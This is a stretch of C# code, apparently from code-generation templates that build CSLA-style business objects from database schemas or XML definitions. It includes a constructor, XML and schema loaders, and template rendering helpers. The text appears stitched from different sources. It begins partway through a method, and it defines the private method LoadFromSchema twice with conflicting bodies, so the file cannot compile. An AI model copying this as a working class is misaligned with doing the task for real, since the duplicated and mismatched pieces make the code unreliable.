for (int i = 0; i < parameter.MaxDimensions; i++)
{
WriteName(writer, parameter.Name, i, parameter.MaxDimensions);
if (i != parameter.MaxDimensions - 1)
{
writer.Write(", ");
}
}
writer.Write("] ");
}
else
{
WriteName(writer, parameter.Name, 0, parameter.MaxDimensions);
writer.Write(' ');
}
}
writer.WriteLine();
}
public ObjectInfo(CodeTemplate template)
{
if (!TemplateHelper.IsObjectType(template.CodeTemplateInfo))
throw new ArgumentException(string.Format("Template '{0}' is not a business object template type", template.CodeTemplateInfo.FileName));
Initialize(template);
string xmlpath = (string)template.GetProperty("XmlFilePath");
bool isFromXml = (xmlpath != null && xmlpath.Length > 0);
if (isFromXml)
LoadFromXml(template);
else
LoadFromSchema(template);
if (_baseClass.Length == 0)
{
//assign base class
switch (_objectType)
{
case ObjectType.EditableRoot:
case ObjectType.EditableChild:
case ObjectType.EditableSwitchable:
_baseClass = BusinessBase;
break;
case ObjectType.ReadOnlyRoot:
case ObjectType.ReadOnlyChild:
_baseClass = ReadOnlyBase;
break;
case ObjectType.EditableChildList:
case ObjectType.EditableRootList:
_baseClass = BusinessListBase;
break;
case ObjectType.ReadOnlyRootList:
case ObjectType.ReadOnlyChildList:
_baseClass = ReadOnlyListBase;
break;
case ObjectType.NameValueList:
_baseClass = NameValueListBase;
break;
}
}
//validate object
Validate();
}
public void OutputTemplate(CodeTemplate template)
{
this.CopyPropertiesTo(template);
template.Render(this.Response);
}
private void Initialize(CodeTemplate template)
{
_namespace = (string)template.GetProperty("ClassNamespace");
_dalNamespace = (string)template.GetProperty("DalNamespace");
if (_dalNamespace == string.Empty) _dalNamespace = "Dal";
_objectName = (string)template.GetProperty("ObjectName");
_baseClass = (string)template.GetProperty("BaseClass");
//template settings
_transactionType = (TransactionalTypes)template.GetProperty("TransactionalType");
_propertyAuthorization = (PropertyAccessSecurity)template.GetProperty("PropertyAuthorization");
_useSecurity = (bool)template.GetProperty("AuthorizationRules");
_codeGenMethod = (CodeGenerationMethod)template.GetProperty("GenerationMethod");
_classType = (GenerationClassType)template.GetProperty("ClassType");
//db commands
_fetchCommand = string.Format(FetchCommandFormat, _objectName);
_insertCommand = string.Format(InsertCommandFormat, _objectName);
_updateCommand = string.Format(UpdateCommandFormat, _objectName);
_deleteCommand = string.Format(DeleteCommandFormat, _objectName);
}
private void LoadFromSchema(CodeTemplate template)
{
_objectType = TemplateHelper.ToObjectType(template.CodeTemplateInfo);
//child, and parent name
if (IsCollection)
_child = (string)template.GetProperty("ChildName");
if (IsChild)
_parent = (string)template.GetProperty("ParentName");
if (_parent == null) _parent = string.Empty;
//child collections
StringCollection types = (StringCollection)template.GetProperty("ChildCollectionTypes");
StringCollection names = (StringCollection)template.GetProperty("ChildPropertyNames");
StringCollection sets = (StringCollection)template.GetProperty("ChildEntitySets");
if (types != null && types.Count > 0)
{
for (int i = 0; i < types.Count; i++)
{
string type = types[i].TrimEnd();
if (type == string.Empty) continue;
string name = (names != null && i < names.Count) ? names[i] : type;
string set = (sets != null && i < sets.Count) ? sets[i] : types[i];
PropertyInfo prop = new PropertyInfo(name, type, set, this);
_properties.Add(prop);
_childCollection.Add(prop);
}
}
//table, view schema
TableSchema table = (TableSchema)template.GetProperty("RootTable");
ViewSchema view = (ViewSchema)template.GetProperty("RootView");
CommandSchema command = (CommandSchema)template.GetProperty("RootCommand");
int resultSetIndex = (int)template.GetProperty("ResultSetIndex");
if (table == null && view == null && command == null)
throw new Exception("RootCommand, RootTable or RootView is required.");
StringCollection uniqueColumns = (StringCollection)template.GetProperty("UniqueColumnNames");
if (uniqueColumns == null) uniqueColumns = new StringCollection();
StringCollection filterColumns = (StringCollection)template.GetProperty("FilterColumnNames");
if (filterColumns == null) filterColumns = new StringCollection();
if (command != null)
{
_dbName = ((SchemaObjectBase)command).Database.Name;
_entityName = CsHelper.ConvertToSingular(((SchemaObjectBase)command).Name);
if (resultSetIndex == 0) _fetchCommand = command.Name;
LoadProperties(command, resultSetIndex, uniqueColumns, filterColumns);
}
else if (table != null)
{
_dbName = ((SchemaObjectBase)table).Database.Name;
_entityName = CsHelper.ConvertToSingular(((SchemaObjectBase)table).Name);
LoadProperties(table);
}
else
{
_dbName = ((SchemaObjectBase)view).Database.Name;
_entityName = CsHelper.ConvertToSingular(((SchemaObjectBase)view).Name);
LoadProperties(view, uniqueColumns, filterColumns);
}
}
private void LoadFromXml(CodeTemplate template)
{
//read from xml file
string path = (string)template.GetProperty("XmlFilePath");
XmlTextReader xtr = new XmlTextReader(path);
if(!MoveToObject(xtr, _objectName))
throw new ApplicationException(string.Format("Object {0} does not exist!", _objectName));
//read object attributes
while (xtr.MoveToNextAttribute())
{
switch (xtr.LocalName.ToLower())
{
case "namespace":
_namespace = xtr.Value;
break;
case "dalnamespace":
_dalNamespace = xtr.Value;
break;
case "access":
_access = xtr.Value;
break;
case "type":
_objectType = (ObjectType)Enum.Parse(typeof(ObjectType), xtr.Value, true);
break;
case "base":
_baseClass = xtr.Value;
break;
}
}
if (_entityName == string.Empty)
_entityName = _objectName;
//read object elements
while (xtr.Read())
{
if (xtr.NodeType == XmlNodeType.EndElement
&& xtr.LocalName.ToLower() == "object")
break; //reach end of object node
if (xtr.NodeType == XmlNodeType.Element) {
switch (xtr.LocalName.ToLower())
{
case "properties":
LoadProperties(xtr); //read properties
break;
case "transactionaltype":
_transactionType = (TransactionalTypes)Enum.Parse(typeof(TransactionalTypes), xtr.ReadElementString());
break;
case "propertyauthorization":
_propertyAuthorization = (PropertyAccessSecurity)Enum.Parse(typeof(PropertyAccessSecurity), xtr.ReadElementString());
break;
case "authorizationrules":
_useSecurity = bool.Parse(xtr.ReadElementString());
break;
case "relationship":
while (xtr.MoveToNextAttribute())
{
switch (xtr.LocalName.ToLower())
{
case "parent":
_parent = xtr.Value;
break;
case "child":
_child = xtr.Value;
break;
}
}
break;
case "dbcommands":
_dbName = xtr.GetAttribute("DbName");
while (xtr.Read())
{
if (xtr.NodeType == XmlNodeType.EndElement
&& xtr.LocalName.ToLower() == "dbcommands")
break; //reach end of properties node
if (xtr.NodeType == XmlNodeType.Element)
{
switch (xtr.LocalName.ToLower())
{
case "fetchcommand":
_fetchCommand = xtr.ReadElementString();
break;
case "insertcommand":
_insertCommand = xtr.ReadElementString();
break;
case "updatecommand":
_updateCommand = xtr.ReadElementString();
break;
case "deletecommand":
_deleteCommand = xtr.ReadElementString();
break;
}
}
}
break;
}
}
} //whild(xtr.Read())
xtr.Close();
}
public void BuildTemplate(CodeTemplate template, string projectLocation, string subFolderPath, string generatedFileName, string parentFileName)
{
if (!string.IsNullOrEmpty(parentFileName))
{
this.ExecuteTemplate(template, Path.Combine(this.OutputDirectory, this.SolutionName, this.CurrentProjectAlias, subFolderPath, parentFileName));
this.AddFileToProject(projectLocation, subFolderPath, parentFileName, string.Empty);
this.ExecuteTemplate(template, Path.Combine(this.OutputDirectory, this.SolutionName, this.CurrentProjectAlias, subFolderPath, generatedFileName));
this.AddFileToProject(projectLocation, subFolderPath, generatedFileName, parentFileName);
}
else
{
this.ExecuteTemplate(template, Path.Combine(this.OutputDirectory, this.SolutionName, this.CurrentProjectAlias, subFolderPath, generatedFileName));
this.AddFileToProject(projectLocation, subFolderPath, generatedFileName, string.Empty);
}
}
public void ExecuteTemplate(CodeTemplate template, string formatPath)
{
this.CopyPropertiesTo(template);
var masterTemplate = template as MasterTemplate;
if (masterTemplate != null)
{
masterTemplate.RenderBody = formatPath.Contains(".gen.");
}
if (formatPath.Contains("{0}"))
{
template.RenderToFile(string.Format(formatPath, this.GetClassName(this.CurrentTable)), true);
}
else
{
template.RenderToFile(formatPath, true);
}
}
private void LoadFromSchema(CodeTemplate template)
{
_objectType = TemplateHelper.ToObjectType(template.CodeTemplateInfo);
//child, and parent name
if (IsCollection)
_child = (string)template.GetProperty("ChildName");
if (IsChild)
_parent = (string)template.GetProperty("ParentName");
if (_parent == null) _parent = string.Empty;
//child collections
StringCollection types = (StringCollection)template.GetProperty("ChildCollectionNames");
StringCollection names = (StringCollection)template.GetProperty("ChildPropertyNames");
if (types != null && names != null && types.Count > 0 && names.Count > 0)
{
int maxCount = types.Count < names.Count ? types.Count : names.Count;
for (int i = 0; i < maxCount; i++)
{
if (names[i].TrimEnd() != string.Empty && types[i].TrimEnd() != string.Empty)
{
PropertyInfo prop = new PropertyInfo(names[i], types[i], this);
_properties.Add(prop);
_childCollection.Add(prop);
}
}
}
//table, view schema
TableSchema table = (TableSchema)template.GetProperty("RootTable");
ViewSchema view = (ViewSchema)template.GetProperty("RootView");
CommandSchema command = (CommandSchema)template.GetProperty("RootCommand");
int resultSetIndex = (int)template.GetProperty("ResultSetIndex");
if (table == null && view == null && command == null)
throw new Exception("RootCommand, RootTable or RootView is required.");
StringCollection uniqueColumns = (StringCollection)template.GetProperty("UniqueColumnNames");
if (uniqueColumns == null) uniqueColumns = new StringCollection();
StringCollection filterColumns = (StringCollection)template.GetProperty("FilterColumnNames");
if (filterColumns == null) filterColumns = new StringCollection();
if (command != null)
{
if(resultSetIndex==0) _fetchCommand = command.Name;
LoadProperties(command, resultSetIndex, uniqueColumns, filterColumns);
}
else if (table != null)
{
LoadProperties(table);
}
else
{
LoadProperties(view, uniqueColumns, filterColumns);
}
}
public static void BuildSubTemplate(CodeTemplate parent, CodeTemplate template, IMergeStrategy strategy, string pathAndFile, string outputDir)
{
// instantiate the sub-template
parent.Response.WriteLine(string.Format("Begin Build SubTemplate for file {0}...",Path.GetFileName(pathAndFile)));
// Set up the DL project
parent.CopyPropertiesTo(template);
//Render the file
if(strategy == null)
template.RenderToFile(Path.Combine(outputDir,pathAndFile), true);
else
template.RenderToFile(Path.Combine(outputDir,pathAndFile), strategy);
parent.Response.WriteLine(string.Format("Build of {0} Complete.",Path.GetFileName(pathAndFile)));
}
